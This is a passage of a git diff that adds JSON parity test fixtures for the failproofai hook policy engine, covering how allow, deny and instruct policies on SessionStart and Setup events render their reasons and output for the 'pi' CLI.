"parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f47ad7f3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d7b94f5f --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..84616cad --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a84b5061 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..876129bb --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f4795ca3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5df6622b --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..590fe98f --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e37a867f --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7d2ae0ff --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4763739e --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d6c78c32 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b777f077 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..750fa6a1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..031cf924 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a68f658c --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..70bff8a9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..938795e1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8664b1d6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": 